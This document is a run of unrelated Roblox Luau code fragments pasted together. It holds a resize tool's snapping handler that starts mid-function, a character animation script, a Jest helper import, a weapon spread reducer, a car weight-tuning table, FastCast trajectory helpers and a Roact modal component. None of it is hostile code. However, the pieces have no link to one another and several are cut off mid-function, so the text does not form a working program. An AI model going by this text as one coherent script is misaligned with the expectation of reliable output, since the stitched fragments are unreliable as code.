if math.abs(DragAngle - Directions[1].DirectionAngle) <= 90 then DirectionLine.Rotation = Directions[1].DirectionAngle; else DirectionLine.Rotation = 180 + Directions[1].DirectionAngle; end; -- Show the direction line DirectionLine.PointMarker.Rotation = -DirectionLine.Rotation; DirectionLine.SnapProgress.Size = UDim2.new(0, DirectionSettingLength, 2, 0); DirectionLine.Visible = true; -- Check if drag has passed direction setting length local Length = (SnappingEndAim - ScreenSnappedPoint).magnitude; if Length < DirectionSettingLength then return; end; -- Clear the direction line DirectionLine:Destroy() -- Select the resizing direction that was closest to the mouse drag SnappingDirection = Directions[1].Face; SnappingDirectionOffset = Directions[1].Offset; -- Move to the destination-picking stage of snapping SnappingStage = 'Destination'; -- Set destination-stage snapping options SnapTracking.TrackEdgeMidpoints = true; SnapTracking.TrackFaceCentroids = true; SnapTracking.TargetFilter = function (Target) return not Target.Locked; end; SnapTracking.TargetBlacklist = Selection.Items; -- Start a distance alignment line AlignmentLine = Core.Tool.Interfaces.SnapLineSegment:Clone(); AlignmentLine.Visible = false; AlignmentLine.Parent = Core.UI; -- Re-enable snapping to select destination SnapTracking.StartTracking(function (NewPoint) if NewPoint and NewPoint.p ~= SnappedPoint then SnappedPoint = NewPoint.p; PointSnapped:Fire(NewPoint.p); end; end); end; end); -- Listen for when a new point is snapped Connections.Snap = PointSnapped:Connect(function (SnappedPoint) -- Resize to snap point if in the destination stage of snapping if SnappingStage == 'Destination' then -- Calculate direction and distance to resize towards local Direction = (SnappingDirectionOffset - SnappingStartPoint).unit; local Distance = (SnappedPoint - SnappingStartPoint):Dot(Direction); -- Resize the parts on the selected faces by the calculated distance local Success = ResizePartsByFace(SnappingDirection, Distance, 'Normal', SnappingStartSelectionState); -- Update the UI on resize success if Success then -- Update "studs resized" indicator if ResizeTool.UI then ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(Distance, 3) .. ' studs'; end; -- Get snap point and destination point screen positions for UI alignment local ScreenStartPoint = Workspace.CurrentCamera:WorldToScreenPoint(SnappingStartPoint + (Direction * Distance)); ScreenStartPoint = Vector2.new(ScreenStartPoint.X, ScreenStartPoint.Y); local ScreenDestinationPoint = Workspace.CurrentCamera:WorldToScreenPoint(SnappedPoint); ScreenDestinationPoint = Vector2.new(ScreenDestinationPoint.X, ScreenDestinationPoint.Y) -- Update the distance alignment line local AlignmentAngle = math.deg(math.atan2(ScreenDestinationPoint.Y - ScreenStartPoint.Y, ScreenDestinationPoint.X - ScreenStartPoint.X)); local AlignmentCenter = ScreenStartPoint:Lerp(ScreenDestinationPoint, 0.5); AlignmentLine.Position = UDim2.new(0, AlignmentCenter.X, 0, AlignmentCenter.Y); AlignmentLine.Rotation = AlignmentAngle; AlignmentLine.Size = UDim2.new(0, (ScreenDestinationPoint - ScreenStartPoint).magnitude, 0, 1); AlignmentLine.PointMarkerA.Rotation = -AlignmentAngle; AlignmentLine.Visible = true; end; -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(SnappingStartSelectionState) do Part.Size = State.Size; Part.CFrame = State.CFrame; end; end; end; end); end); end;
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming() local speed = script.speed.Value if userAnimateScaleRun then speed /= getHeightScale() end if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) if script.Parent.Humanoid:GetState() == Enum.HumanoidStateType.Climbing then onClimbing() end local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.2, Humanoid) if math.round(script.speed.Value) == 0 then playAnimation("idle", 0.1, Humanoid) pose = "Standing" end elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
-- ROBLOX deviation START: use custom implementations instead of unavailable node API
local helpers = require(CurrentModule.helpers) local format = helpers.format local formatWithOptions = helpers.formatWithOptions
-- Decreases the spread based on spread reduction
function SpreadSimulator:DecreaseSpread() self.currentSpread = math.clamp(self.currentSpread - self.spreadReduction, self.minSpread, self.maxSpread) end
--[[Weight and CG]]
Tune.Weight = 2050 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- A variant of the function above that returns the velocity at a given point in time.
local function GetVelocityAtTime(time: number, initialVelocity: Vector3, acceleration: Vector3): Vector3 return initialVelocity + acceleration * time end local function GetTrajectoryInfo(cast: ActiveCast, index: number): {[number]: Vector3} assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) local trajectories = cast.StateInfo.Trajectories local trajectory = trajectories[index] local duration = trajectory.EndTime - trajectory.StartTime local origin = trajectory.Origin local vel = trajectory.InitialVelocity local accel = trajectory.Acceleration return {GetPositionAtTime(duration, origin, vel, accel), GetVelocityAtTime(duration, vel, accel)} end local function GetLatestTrajectoryEndInfo(cast: ActiveCast): {[number]: Vector3} assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) return GetTrajectoryInfo(cast, #cast.StateInfo.Trajectories) end local function CloneCastParams(params: RaycastParams): RaycastParams local clone = RaycastParams.new() clone.CollisionGroup = params.CollisionGroup clone.FilterType = params.FilterType clone.FilterDescendantsInstances = params.FilterDescendantsInstances clone.IgnoreWater = params.IgnoreWater return clone end local function SendRayHit(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?) cast.Caster.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject) end local function SendRayPierced(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?) cast.Caster.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject) end local function SendLengthChanged(cast: ActiveCast, lastPoint: Vector3, rayDir: Vector3, rayDisplacement: number, segmentVelocity: Vector3, cosmeticBulletObject: Instance?) cast.Caster.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject) end
--[[ A modal based on the default modal used in Roblox experiences to prompt purchases. ]]
local ExperienceComponents = script:FindFirstAncestor("ExperienceComponents") local Roact = require(ExperienceComponents.Parent.Roact) local constants = require(script.Parent.constants) local SelectionGroup = require(ExperienceComponents.Components.Gamepad.SelectionGroup) local RobloxModalButton = require(script.Parent.RobloxModalButton) local RobloxModal = Roact.Component:extend("RobloxModal") local defaultProps = { width = UDim.new(0, 350), usingGamepad = false, buttonHeight = 32, cancelPrimaryColor = constants.BackgroundColor, cancelAccentColor = constants.TextColor, acceptPrimaryColor = constants.ButtonColor, acceptAccentColor = constants.BackgroundColor, } export type Props = typeof(defaultProps) & { title: string, description: string, acceptText: string, cancelText: string, onAccept: () -> (), onCancel: () -> (), } RobloxModal.defaultProps = defaultProps function RobloxModal:render() local props: Props = self.props local children = (props :: any)[Roact.Children] return Roact.createElement("Frame", { BackgroundColor3 = constants.BackgroundColor, BorderSizePixel = 0, Size = UDim2.new(props.width, UDim.new(0, 0)), AutomaticSize = Enum.AutomaticSize.Y, }, { SelectionGroup = Roact.createElement(SelectionGroup), Corner = Roact.createElement("UICorner", { CornerRadius = constants.Padding, }), Layout = Roact.createElement("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, Padding = constants.Padding, }), Padding = Roact.createElement("UIPadding", { PaddingTop = constants.Padding, PaddingRight = constants.Padding, PaddingBottom = constants.Padding, PaddingLeft = constants.Padding, }), Title = Roact.createElement("TextLabel", { LayoutOrder = 1, Text = props.title, Font = constants.TitleFont, TextSize = constants.TitleSize, TextColor3 = constants.TitleColor, TextXAlignment = Enum.TextXAlignment.Center, TextWrapped = true, BackgroundTransparency = 1, Size = UDim2.fromScale(1, 0), AutomaticSize = Enum.AutomaticSize.Y, }), Divider = Roact.createElement("Frame", { LayoutOrder = 2, Size = UDim2.new(1, 0, 0, 1), BackgroundTransparency = 0.9, BackgroundColor3 = constants.TitleColor, BorderSizePixel = 0, }), Children = children and Roact.createElement("Frame", { LayoutOrder = 3, Size = UDim2.fromScale(1, 0), AutomaticSize = Enum.AutomaticSize.Y, BackgroundTransparency = 1, }, children), Description = Roact.createElement("TextLabel", { LayoutOrder = 4, Font = constants.Font, TextSize = constants.TextSize, Text = props.description, TextXAlignment = Enum.TextXAlignment.Center, TextColor3 = constants.TextColor, TextWrapped = true, BackgroundTransparency = 1, Size = UDim2.fromScale(1, 0), AutomaticSize = Enum.AutomaticSize.Y, }), Buttons = Roact.createElement("Frame", { LayoutOrder = 5, BackgroundTransparency = 1, Size = UDim2.new(1, 0, 0, props.buttonHeight), }, { Layout = Roact.createElement("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, FillDirection = Enum.FillDirection.Horizontal, Padding = constants.Padding, }), CancelButton = Roact.createElement(RobloxModalButton, { layoutOrder = 1, text = props.cancelText, isSolid = false, size = UDim2.new(0.5, -constants.Padding.Offset / 2, 1, 0), usingGamepad = props.usingGamepad, gamepadKeyCode = Enum.KeyCode.ButtonB, primaryColor = props.cancelPrimaryColor, accentColor = props.cancelAccentColor, hoveredColorShift = 1.5, onActivated = props.onCancel, }), AcceptButton = Roact.createElement(RobloxModalButton, { layoutOrder = 2, text = props.acceptText, size = UDim2.new(0.5, -constants.Padding.Offset / 2, 1, 0), usingGamepad = props.usingGamepad, gamepadKeyCode = Enum.KeyCode.ButtonA, primaryColor = props.acceptPrimaryColor, accentColor = props.acceptAccentColor, hoveredColorShift = 0.8, isGamepadSelection = true, onActivated = props.onAccept, }), }), }) end return RobloxModal